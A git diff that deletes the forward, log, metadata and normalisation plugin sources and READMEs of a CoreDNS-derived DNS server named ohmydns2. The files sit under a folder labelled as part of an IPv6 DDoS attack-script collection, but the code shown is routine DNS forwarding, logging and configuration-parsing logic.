r.List(f.proxies)[0] - - HealthcheckBrokenCount.Add(1) - } - - if span != nil { - child = span.Tracer().StartSpan("connect", ot.ChildOf(span.Context())) - otext.PeerAddress.Set(child, pProxy.Addr()) - ctx = ot.ContextWithSpan(ctx, child) - } - - metadata.SetValueFunc(ctx, "forward/upstream", func() string { - return pProxy.Addr() - }) - - var ( - ret *dns.Msg - err error - ) - opts := f.opts - - for { - ret, err = pProxy.Connect(ctx, state, opts) - if err == ErrCachedClosed { // Remote side closed conn, can only happen with TCP. - continue - } - // Retry with TCP if truncated and prefer_udp configured. - if ret != nil && ret.Truncated && !opts.ForceTCP && opts.PreferUDP { - opts.ForceTCP = true - continue - } - break - } - - if child != nil { - child.Finish() - } - - if len(f.tapPlugins) != 0 { - toDnstap(f, pProxy.Addr(), state, opts, ret, start) - } - - upstreamErr = err - - if err != nil { - // Kick off health check to see if *our* upstream is broken. - if f.maxfails != 0 { - pProxy.Healthcheck() - } - - if fails < len(f.proxies) { - continue - } - break - } - - // Check if the reply is correct; if not return FormErr. - if !state.Match(ret) { - debug.Hexdumpf(ret, "Wrong reply for id: %d, %s %d", ret.Id, state.QName(), state.QType()) - - formerr := new(dns.Msg) - formerr.SetRcode(state.Req, dns.RcodeFormatError) - w.WriteMsg(formerr) - return 0, nil - } - - w.WriteMsg(ret) - return 0, nil - } - - if upstreamErr != nil { - return dns.RcodeServerFailure, upstreamErr - } - - return dns.RcodeServerFailure, ErrNoHealthy -} - -func (f *Forward) match(state request.Request) bool { - if !plugin.Name(f.from).Matches(state.Name()) || !f.isAllowedDomain(state.Name()) { - return false - } - - return true -} - -func (f *Forward) isAllowedDomain(name string) bool { - if dns.Name(name) == dns.Name(f.from) { - return true - } - - for _, ignore := range f.ignored { - if plugin.Name(ignore).Matches(name) { - return false - } - } - return true -} - -// ForceTCP returns if TCP is forced to be used even when the request comes in over UDP. -func (f *Forward) ForceTCP() bool { return f.opts.ForceTCP } - -// PreferUDP returns if UDP is preferred to be used even when the request comes in over TCP. -func (f *Forward) PreferUDP() bool { return f.opts.PreferUDP } - -// List returns a set of proxies to be used for this client depending on the policy in f. -func (f *Forward) List() []*proxy.Proxy { return f.p.List(f.proxies) } - -var ( - // ErrNoHealthy means no healthy proxies left. - ErrNoHealthy = errors.New("no healthy proxies") - // ErrNoForward means no forwarder defined. - ErrNoForward = errors.New("no forwarder defined") - // ErrCachedClosed means cached connection was closed by peer. - ErrCachedClosed = errors.New("cached connection was closed by peer") -) - -// Options holds various Options that can be set. -type Options struct { - // ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag - ForceTCP bool - // PreferUDP use UDP protocol for upstream DNS request. - PreferUDP bool - // HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests - HCRecursionDesired bool - // HCDomain sets domain for Proxy healthcheck requests - HCDomain string -} - -const ( - defaultExpire = 10 * time.Second - hcInterval = 500 * time.Millisecond -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/metric.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/metric.go" deleted file mode 100644 index 304753c..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/metric.go" +++ /dev/null @@ -1,24 +0,0 @@ -package forward - -import ( - "ohmydns2/plugin" - - "github.com/prometheus/client_golang/prometheus" - "github.com/prometheus/client_golang/prometheus/promauto" -) - -// Variables declared for monitoring. -var ( - HealthcheckBrokenCount = promauto.NewCounter(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: "forward", - Name: "healthcheck_broken_total", - Help: "Counter of the number of complete failures of the healthchecks.", - }) - MaxConcurrentRejectCount = promauto.NewCounter(prometheus.CounterOpts{ - Namespace: plugin.Namespace, - Subsystem: "forward", - Name: "max_concurrent_rejects_total", - Help: "Counter of the number of queries rejected because the concurrent queries were at maximum.", - }) -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/policy.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/policy.go" deleted file mode 100644 index 614829a..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/policy.go" +++ /dev/null @@ -1,68 +0,0 @@ -package forward - -import ( - "ohmydns2/plugin/pkg/proxy" - "ohmydns2/plugin/pkg/rand" - "sync/atomic" - "time" -) - -// Policy defines a policy we use for selecting upstreams. -type Policy interface { - List([]*proxy.Proxy) []*proxy.Proxy - String() string -} - -// random is a policy that implements random upstream selection. -type random struct{} - -func (r *random) String() string { return "random" } - -func (r *random) List(p []*proxy.Proxy) []*proxy.Proxy { - switch len(p) { - case 1: - return p - case 2: - if rn.Int()%2 == 0 { - return []*proxy.Proxy{p[1], p[0]} // swap - } - return p - } - - perms := rn.Perm(len(p)) - rnd := make([]*proxy.Proxy, len(p)) - - for i, p1 := range perms { - rnd[i] = p[p1] - } - return rnd -} - -// roundRobin is a policy that selects hosts based on round robin ordering. -type roundRobin struct { - robin uint32 -} - -func (r *roundRobin) String() string { return "round_robin" } - -func (r *roundRobin) List(p []*proxy.Proxy) []*proxy.Proxy { - poolLen := uint32(len(p)) - i := atomic.AddUint32(&r.robin, 1) % poolLen - - robin := []*proxy.Proxy{p[i]} - robin = append(robin, p[:i]...) - robin = append(robin, p[i+1:]...) - - return robin -} - -// sequential is a policy that selects hosts based on sequential ordering. -type sequential struct{} - -func (r *sequential) String() string { return "sequential" } - -func (r *sequential) List(p []*proxy.Proxy) []*proxy.Proxy { - return p -} - -var rn = rand.New(time.Now().UnixNano()) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/setup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/setup.go" deleted file mode 100644 index 9361e6a..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/forward/setup.go" +++ /dev/null @@ -1,291 +0,0 @@ -package forward - -import ( - "crypto/tls" - "errors" - "fmt" - "ohmydns2/core/dnsserver" - "ohmydns2/plugin" - "ohmydns2/plugin/dnstap" - "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/parse" - "ohmydns2/plugin/pkg/proxy" - pkgtls "ohmydns2/plugin/pkg/tls" - "ohmydns2/plugin/pkg/transport" - "strconv" - "time" - - "github.com/coredns/caddy" - "github.com/miekg/dns" -) - -func init() { plugin.Register("forward", setup) } - -func setup(c *caddy.Controller) error { - fs, err := parseForward(c) - if err != nil { - return plugin.Error("forward", err) - } - for i := range fs { - f := fs[i] - if f.Len() > max { - return plugin.Error("forward", fmt.Errorf("more than %d TOs configured: %d", max, f.Len())) - } - - if i == len(fs)-1 { - // last forward: point next to next plugin - dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { - f.Next = next - return f - }) - } else { - // middle forward: point next to next forward - nextForward := fs[i+1] - dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler { - f.Next = nextForward - return f - }) - } - - c.OnStartup(func() error { - return f.OnStartup() - }) - c.OnStartup(func() error { - if taph := dnsserver.GetConfig(c).Handler("dnstap"); taph != nil { - f.SetTapPlugin(taph.(*dnstap.Dnstap)) - } - return nil - }) - - c.OnShutdown(func() error { - return f.OnShutdown() - }) - } - - return nil -} - -// OnStartup starts a goroutines for all proxies. -func (f *Forward) OnStartup() (err error) { - for _, p := range f.proxies { - p.Start(f.hcInterval) - } - return nil -} - -// OnShutdown stops all configured proxies. -func (f *Forward) OnShutdown() error { - for _, p := range f.proxies { - p.Stop() - } - return nil -} - -func parseForward(c *caddy.Controller) ([]*Forward, error) { - var fs = []*Forward{} - for c.Next() { - f, err := parseStanza(c) - if err != nil { - return nil, err - } - fs = append(fs, f) - } - return fs, nil -} - -func parseStanza(c *caddy.Controller) (*Forward, error) { - f := New() - - if !c.Args(&f.from) { - return f, c.ArgErr() - } - origFrom := f.from - zones := plugin.Host(f.from).NormalizeExact() - if len(zones) == 0 { - return f, fmt.Errorf("unable to normalize '%s'", f.from) - } - f.from = zones[0] // there can only be one here, won't work with non-octet reverse - - if len(zones) > 1 { - log.Warningf("Unsupported CIDR notation: '%s' expands to multiple zones. Using only '%s'.", origFrom, f.from) - } - - to := c.RemainingArgs() - if len(to) == 0 { - return f, c.ArgErr() - } - - toHosts, err := parse.HostPortOrFile(to...) - if err != nil { - return f, err - } - - transports := make([]string, len(toHosts)) - allowedTrans := map[string]bool{"dns": true, "tls": true} - for i, host := range toHosts { - trans, h := parse.Transport(host) - - if !allowedTrans[trans] { - return f, fmt.Errorf("'%s' is not supported as a destination protocol in forward: %s", trans, host) - } - p := proxy.NewProxy(h, trans) - f.proxies = append(f.proxies, p) - transports[i] = trans - } - - for c.NextBlock() { - if err := parseBlock(c, f); err != nil { - return f, err - } - } - - if f.tlsServerName != "" { - f.tlsConfig.ServerName = f.tlsServerName - } - - // Initialize ClientSessionCache in tls.Config. This may speed up a TLS handshake - // in upcoming connections to the same TLS server. - f.tlsConfig.ClientSessionCache = tls.NewLRUClientSessionCache(len(f.proxies)) - - for i := range f.proxies { - // Only set this for proxies that need it. - if transports[i] == transport.TLS { - f.proxies[i].SetTLSConfig(f.tlsConfig) - } - f.proxies[i].SetExpire(f.expire) - f.proxies[i].GetHealthchecker().SetRecursionDesired(f.opts.HCRecursionDesired) - // when TLS is used, checks are set to tcp-tls - if f.opts.ForceTCP && transports[i] != transport.TLS { - f.proxies[i].GetHealthchecker().SetTCPTransport() - } - f.proxies[i].GetHealthchecker().SetDomain(f.opts.HCDomain) - } - - return f, nil -} - -func parseBlock(c *caddy.Controller, f *Forward) error { - switch c.Val() { - case "except": - ignore := c.RemainingArgs() - if len(ignore) == 0 { - return c.ArgErr() - } - for i := 0; i < len(ignore); i++ { - f.ignored = append(f.ignored, plugin.Host(ignore[i]).NormalizeExact()...) - } - case "max_fails": - if !c.NextArg() { - return c.ArgErr() - } - n, err := strconv.ParseUint(c.Val(), 10, 32) - if err != nil { - return err - } - f.maxfails = uint32(n) - case "health_check": - if !c.NextArg() { - return c.ArgErr() - } - dur, err := time.ParseDuration(c.Val()) - if err != nil { - return err - } - if dur < 0 { - return fmt.Errorf("health_check can't be negative: %d", dur) - } - f.hcInterval = dur - f.opts.HCDomain = "." - - for c.NextArg() { - switch hcOpts := c.Val(); hcOpts { - case "no_rec": - f.opts.HCRecursionDesired = false - case "domain": - if !c.NextArg() { - return c.ArgErr() - } - hcDomain := c.Val() - if _, ok := dns.IsDomainName(hcDomain); !ok { - return fmt.Errorf("health_check: invalid domain name %s", hcDomain) - } - f.opts.HCDomain = plugin.Name(hcDomain).Normalize() - default: - return fmt.Errorf("health_check: unknown option %s", hcOpts) - } - } - - case "force_tcp": - if c.NextArg() { - return c.ArgErr() - } - f.opts.ForceTCP = true - case "prefer_udp": - if c.NextArg() { - return c.ArgErr() - } - f.opts.PreferUDP = true - case "tls": - args := c.RemainingArgs() - if len(args) > 3 { - return c.ArgErr() - } - - tlsConfig, err := pkgtls.NewTLSConfigFromArgs(args...) - if err != nil { - return err - } - f.tlsConfig = tlsConfig - case "tls_servername": - if !c.NextArg() { - return c.ArgErr() - } - f.tlsServerName = c.Val() - case "expire": - if !c.NextArg() { - return c.ArgErr() - } - dur, err := time.ParseDuration(c.Val()) - if err != nil { - return err - } - if dur < 0 { - return fmt.Errorf("expire can't be negative: %s", dur) - } - f.expire = dur - case "policy": - if !c.NextArg() { - return c.ArgErr() - } - switch x := c.Val(); x { - case "random": - f.p = &random{} - case "round_robin": - f.p = &roundRobin{} - case "sequential": - f.p = &sequential{} - default: - return c.Errf("unknown policy '%s'", x) - } - case "max_concurrent": - if !c.NextArg() { - return c.ArgErr() - } - n, err := strconv.Atoi(c.Val()) - if err != nil { - return err - } - if n < 0 { - return fmt.Errorf("max_concurrent can't be negative: %d", n) - } - f.ErrLimitExceeded = errors.New("concurrent queries exceeded maximum " + c.Val()) - f.maxConcurrent = int64(n) - - default: - return c.Errf("unknown property '%s'", c.Val()) - } - - return nil -} - -const max = 15 // Maximum number of upstreams. diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/README.md" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/README.md" deleted file mode 100644 index b2ae9af..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/README.md" +++ /dev/null @@ -1,4 +0,0 @@ -# log -*log--启用查询记录到标准输出* -## 简介 -通过使用*log*,可以将所有查询(以及回复的部分)转存到标准输出上。并可通过一些选项稍微调整输出。请注意,对于繁忙的服务器,日志记录会导致性能下降。启用或禁用日志插件只会影响查询日志记录,任何其他来自 OhmyDNS 的日志记录都会显示出来。 \ No newline at end of file diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/log.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/log.go" deleted file mode 100644 index 81e5a3b..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/log.go" +++ /dev/null @@ -1,72 +0,0 @@ -package log - -import ( - "context" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/dnstest" - olog "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/replacer" - "ohmydns2/plugin/pkg/request" - "ohmydns2/plugin/pkg/response" - "time" - - "github.com/miekg/dns" -) - -// Logger is a basic request logging plugin. -type Logger struct { - Next plugin.Handler - Rules []Rule - - repl replacer.Replacer -} - -// ServeDNS implements the plugin.Handler interface. -func (l Logger) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { - state := request.Request{W: w, Req: r} - name := state.Name() - for _, rule := range l.Rules { - if !plugin.Name(rule.NameScope).Matches(name) { - continue - } - - rrw := dnstest.NewRecorder(w) - rc, err := plugin.NextOrFailure(l.Name(), l.Next, ctx, rrw, r) - - // If we don't set up a class in config, the default "all" will be added - // and we shouldn't have an empty rule.Class. - _, ok := rule.Class[response.All] - var ok1 bool - if !ok { - tpe, _ := response.Typify(rrw.Msg, time.Now().UTC()) - class := response.Classify(tpe) - _, ok1 = rule.Class[class] - } - if ok || ok1 { - logstr := l.repl.Replace(ctx, state, rrw, rule.Format) - olog.Info(logstr) - } - - return rc, err - } - return plugin.NextOrFailure(l.Name(), l.Next, ctx, w, r) -} - -// Name implements the Handler interface. -func (l Logger) Name() string { return "log" } - -// Rule configures the logging plugin. -type Rule struct { - NameScope string - Class map[response.Class]struct{} - Format string -} - -const ( - // CommonLogFormat is the common log format. - CommonLogFormat = `{remote}:{port} ` + replacer.EmptyValue + ` {>id} "{type} {class} {name} {proto} {size} {>do} {>bufsize}" {rcode} {>rflags} {rsize} {duration}` - // CombinedLogFormat is the combined log format. - CombinedLogFormat = CommonLogFormat + ` "{>opcode}"` - // DefaultLogFormat is the default log format. - DefaultLogFormat = CommonLogFormat -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/setup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/setup.go" deleted file mode 100644 index 49a9fde..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/log/setup.go" +++ /dev/null @@ -1,101 +0,0 @@ -package log - -import ( - "ohmydns2/core/dnsserver" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/replacer" - "ohmydns2/plugin/pkg/response" - "strings" - - "github.com/coredns/caddy" - "github.com/miekg/dns" -) - -func init() { plugin.Register("log", setup) } - -func setup(c *caddy.Controller) error { - rules, err := logParse(c) - if err != nil { - return plugin.Error("log", err) - } - - dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { - return Logger{Next: next, Rules: rules, repl: replacer.New()} - }) - - return nil -} - -func logParse(c *caddy.Controller) ([]Rule, error) { - var rules []Rule - - for c.Next() { - args := c.RemainingArgs() - length := len(rules) - - switch len(args) { - case 0: - // Nothing specified; use defaults - rules = append(rules, Rule{ - NameScope: ".", - Format: DefaultLogFormat, - Class: make(map[response.Class]struct{}), - }) - case 1: - rules = append(rules, Rule{ - NameScope: dns.Fqdn(args[0]), - Format: DefaultLogFormat, - Class: make(map[response.Class]struct{}), - }) - default: - // Name scopes, and maybe a format specified - format := DefaultLogFormat - - if strings.Contains(args[len(args)-1], "{") { - format = args[len(args)-1] - format = strings.Replace(format, "{common}", CommonLogFormat, -1) - format = strings.Replace(format, "{combined}", CombinedLogFormat, -1) - args = args[:len(args)-1] - } - - for _, str := range args { - rules = append(rules, Rule{ - NameScope: dns.Fqdn(str), - Format: format, - Class: make(map[response.Class]struct{}), - }) - } - } - - // Class refinements in an extra block. - classes := make(map[response.Class]struct{}) - for c.NextBlock() { - switch c.Val() { - // class followed by combinations of all, denial, error and success. - case "class": - classesArgs := c.RemainingArgs() - if len(classesArgs) == 0 { - return nil, c.ArgErr() - } - for _, c := range classesArgs { - cls, err := response.ClassFromString(c) - if err != nil { - return nil, err - } - classes[cls] = struct{}{} - } - default: - return nil, c.ArgErr() - } - } - if len(classes) == 0 { - classes[response.All] = struct{}{} - } - - for i := len(rules) - 1; i >= length; i-- { - rules[i].Class = classes - } - } - - return rules, nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/README.md" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/README.md" deleted file mode 100644 index 325a3f2..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/README.md" +++ /dev/null @@ -1,43 +0,0 @@ -# metadata -## 简介 -metadata包提供了一个 API,允许插件将元数据添加到上下文中。每个元数据都存储在格式为`/` 的标签下。每个元数据作为 Func 返回。调用 Func 时返回元数据。如果某个 Func 执行时间很长,就需要自行提供某种形式的缓存。在处理一个查询时的元数据应该保持不变。 -## 用例 -Basic example: -```go -// -// Implement the Provider interface for a plugin p: -// -func (p P) Metadata(ctx context.Context, state request.Request) context.Context { - metadata.SetValueFunc(ctx, "test/something", func() string { - return "myvalue" - }) - return ctx - } -``` -Basic example with caching: -```go -func (p P) Metadata(ctx context.Context, state request.Request) context.Context { - cached := "" - f := func() string { - if cached != "" { - return cached - } - cached = expensiveFunc() - return cached - } - metadata.SetValueFunc(ctx, "test/something", f) - return ctx - } - -``` - - -If you need access to this metadata from another plugin: -```go - - // ... - valueFunc := metadata.ValueFunc(ctx, "test/something") - value := valueFunc() - // use 'value' - -``` \ No newline at end of file diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/metadata.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/metadata.go" deleted file mode 100644 index cafe4e7..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/metadata.go" +++ /dev/null @@ -1,42 +0,0 @@ -package metadata - -import ( - "context" - "github.com/miekg/dns" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/request" -) - -// Metadata implements collecting metadata information from all plugins that -// implement the Provider interface. -type Metadata struct { - Zones []string - Providers []Provider - Next plugin.Handler -} - -// Name implements the Handler interface. -func (m *Metadata) Name() string { return "metadata" } - -// ContextWithMetadata is exported for use by provider tests -func ContextWithMetadata(ctx context.Context) context.Context { - return context.WithValue(ctx, key{}, md{}) -} - -// ServeDNS implements the plugin.Handler interface. -func (m *Metadata) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { - rcode, err := plugin.NextOrFailure(m.Name(), m.Next, ctx, w, r) - return rcode, err -} - -// Collect will retrieve metadata functions from each metadata provider and update the context -func (m *Metadata) Collect(ctx context.Context, state request.Request) context.Context { - ctx = ContextWithMetadata(ctx) - if plugin.Zones(m.Zones).Matches(state.Name()) != "" { - // Go through all Providers and collect metadata. - for _, p := range m.Providers { - ctx = p.Metadata(ctx, state) - } - } - return ctx -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/provider.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/provider.go" deleted file mode 100644 index 490dfe1..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/provider.go" +++ /dev/null @@ -1,89 +0,0 @@ -package metadata - -import ( - "context" - "ohmydns2/plugin/pkg/request" - "strings" -) - -// Provider interface needs to be implemented by each plugin willing to provide -// metadata information for other plugins. -type Provider interface { - // Metadata adds metadata to the context and returns a (potentially) new context. - // Note: this method should work quickly, because it is called for every request - // from the metadata plugin. - Metadata(ctx context.Context, state request.Request) context.Context -} - -// Func is the type of function in the metadata, when called they return the value of the label. -type Func func() string - -// IsLabel checks that the provided name is a valid label name, i.e. two or more words separated by a slash. -func IsLabel(label string) bool { - p := strings.Index(label, "/") - if p <= 0 || p >= len(label)-1 { - // cannot accept namespace empty nor label empty - return false - } - return true -} - -// Labels returns all metadata keys stored in the context. These label names should be named -// as: plugin/NAME, where NAME is something descriptive. -func Labels(ctx context.Context) []string { - if metadata := ctx.Value(key{}); metadata != nil { - if m, ok := metadata.(md); ok { - return keys(m) - } - } - return nil -} - -// ValueFuncs returns the map[string]Func from the context, or nil if it does not exist. -func ValueFuncs(ctx context.Context) map[string]Func { - if metadata := ctx.Value(key{}); metadata != nil { - if m, ok := metadata.(md); ok { - return m - } - } - return nil -} - -// ValueFunc returns the value function of label. If none can be found nil is returned. Calling the -// function returns the value of the label. -func ValueFunc(ctx context.Context, label string) Func { - if metadata := ctx.Value(key{}); metadata != nil { - if m, ok := metadata.(md); ok { - return m[label] - } - } - return nil -} - -// SetValueFunc set the metadata label to the value function. If no metadata can be found this is a noop and -// false is returned. Any existing value is overwritten. -func SetValueFunc(ctx context.Context, label string, f Func) bool { - if metadata := ctx.Value(key{}); metadata != nil { - if m, ok := metadata.(md); ok { - m[label] = f - return true - } - } - return false -} - -// md is metadata information storage. -type md map[string]Func - -// key defines the type of key that is used to save metadata into the context. -type key struct{} - -func keys(m map[string]Func) []string { - s := make([]string, len(m)) - i := 0 - for k := range m { - s[i] = k - i++ - } - return s -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/setup.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/setup.go" deleted file mode 100644 index 9ebf7c9..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/metadata/setup.go" +++ /dev/null @@ -1,45 +0,0 @@ -package metadata - -import ( - "ohmydns2/core/dnsserver" - "ohmydns2/plugin" - - "github.com/coredns/caddy" -) - -func init() { plugin.Register("metadata", setup) } - -func setup(c *caddy.Controller) error { - m, err := metadataParse(c) - if err != nil { - return err - } - dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler { - m.Next = next - return m - }) - - c.OnStartup(func() error { - plugins := dnsserver.GetConfig(c).Handlers() - for _, p := range plugins { - if met, ok := p.(Provider); ok { - m.Providers = append(m.Providers, met) - } - } - return nil - }) - - return nil -} - -func metadataParse(c *caddy.Controller) (*Metadata, error) { - m := &Metadata{} - c.Next() - - m.Zones = plugin.OriginsFromArgsOrServerBlock(c.RemainingArgs(), c.ServerBlockKeys) - - if c.NextBlock() || c.Next() { - return nil, plugin.Error("metadata", c.ArgErr()) - } - return m, nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/normalize.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/normalize.go" deleted file mode 100644 index a7dcd8d..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/normalize.go" +++ /dev/null @@ -1,179 +0,0 @@ -package plugin - -import ( - "fmt" - valid "github.com/asaskevich/govalidator" - "net" - "ohmydns2/plugin/pkg/cidr" - "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/parse" - "runtime" - "strconv" - "strings" - - "github.com/miekg/dns" -) - -// Host represents a host from the Ohmyfile -type Host string - -// Normalize will return the host portion of host, stripping -// of any port or transport. The host will also be fully qualified and lowercased. -// An empty string is returned on failure -// Deprecated: use OriginsFromArgsOrServerBlock or NormalizeExact -func (h Host) Normalize() string { - var caller string - if _, file, line, ok := runtime.Caller(1); ok { - caller = fmt.Sprintf("(%v line %d) ", file, line) - } - log.Warning("An external plugin " + caller + "is using the deprecated function Normalize. " + - "This will be removed in a future versions of CoreDNS. The plugin should be updated to use " + - "OriginsFromArgsOrServerBlock or NormalizeExact instead.") - - s := string(h) - _, s = parse.Transport(s) - - // The error can be ignored here, because this function is called after the corefile has already been vetted. - hosts, _, err := SplitHostPort(s) - if err != nil { - return "" - } - return Name(hosts[0]).Normalize() -} - -// NormalizeExact will return the host portion of host, stripping -// of any port or transport. The host will also be fully qualified and lowercased. -// An empty slice is returned on failure -func (h Host) NormalizeExact() []string { - // The error can be ignored here, because this function should only be called after the corefile has already been vetted. - s := string(h) - _, s = parse.Transport(s) - - hosts, _, err := SplitHostPort(s) - if err != nil { - return nil - } - for i := range hosts { - hosts[i] = Name(hosts[i]).Normalize() - } - return hosts -} - -// Zones represents a lists of zone names. -type Zones []string - -// Matches checks if qname is a subdomain of any of the zones in z. The match -// will return the most specific zones that matches. The empty string -// signals a not found condition. -func (z Zones) Matches(qname string) string { - zone := "" - for _, zname := range z { - if dns.IsSubDomain(zname, qname) { - // We want the *longest* matching zone, otherwise we may end up in a parent - if len(zname) > len(zone) { - zone = zname - } - } - } - return zone -} - -// Normalize fully qualifies all zones in z. The zones in Z must be domain names, without -// a port or protocol prefix. -func (z Zones) Normalize() { - for i := range z { - z[i] = Name(z[i]).Normalize() - } -} - -// Name represents a domain name. -type Name string - -// Matches checks to see if other is a subdomain (or the same domain) of n. -// This method assures that names can be easily and consistently matched. -func (n Name) Matches(child string) bool { - if dns.Name(n) == dns.Name(child) { - return true - } - return dns.IsSubDomain(string(n), child) -} - -// Normalize lowercases and makes n fully qualified. -func (n Name) Normalize() string { return strings.ToLower(dns.Fqdn(string(n))) } - -// OriginsFromArgsOrServerBlock returns the normalized args if that slice -// is not empty, otherwise the serverblock slice is returned (in a newly copied slice). -func OriginsFromArgsOrServerBlock(args, serverblock []string) []string { - if len(args) == 0 { - s := make([]string, len(serverblock)) - copy(s, serverblock) - for i := range s { - s[i] = Host(s[i]).NormalizeExact()[0] // expansion of these already happened in dnsserver/register.go - } - return s - } - s := []string{} - for i := range args { - sx := Host(args[i]).NormalizeExact() - if len(sx) == 0 { - continue // silently ignores errors. - } - s = append(s, sx...) - } - - return s -} - -// SplitHostPort splits s up in a host(s) and port portion, taking reverse address notation into account. -// String the string s should *not* be prefixed with any protocols, i.e. dns://. SplitHostPort can return -// multiple hosts when a reverse notation on a non-octet boundary is given. -func SplitHostPort(s string) (hosts []string, port string, err error) { - // If there is: :[0-9]+ on the end we assume this is the port. This works for (ascii) domain - // names and our reverse syntax, which always needs a /mask *before* the port. - // So from the back, find first colon, and then check if it's a number. - colon := strings.LastIndex(s, ":") - if colon == len(s)-1 { - return nil, "", fmt.Errorf("expecting data after last colon: %q", s) - } - if colon != -1 { - if p, err := strconv.Atoi(s[colon+1:]); err == nil { - port = strconv.Itoa(p) - s = s[:colon] - } - } - - // TODO(miek): this should take escaping into account. - if len(s) > 255 { - return nil, "", fmt.Errorf("specified zone is too long: %d > 255", len(s)) - } - - if _, ok := dns.IsDomainName(s); !ok { - return nil, "", fmt.Errorf("zone is not a valid domain name: %s", s) - } - - // Check if it parses as a reverse zone, if so we use that. Must be fully specified IP and mask. - _, n, err := net.ParseCIDR(s) - if err != nil { - return []string{s}, port, nil - } - - if s[0] == ':' || (s[0] == '0' && strings.Contains(s, ":")) { - return nil, "", fmt.Errorf("invalid CIDR %s", s) - } - 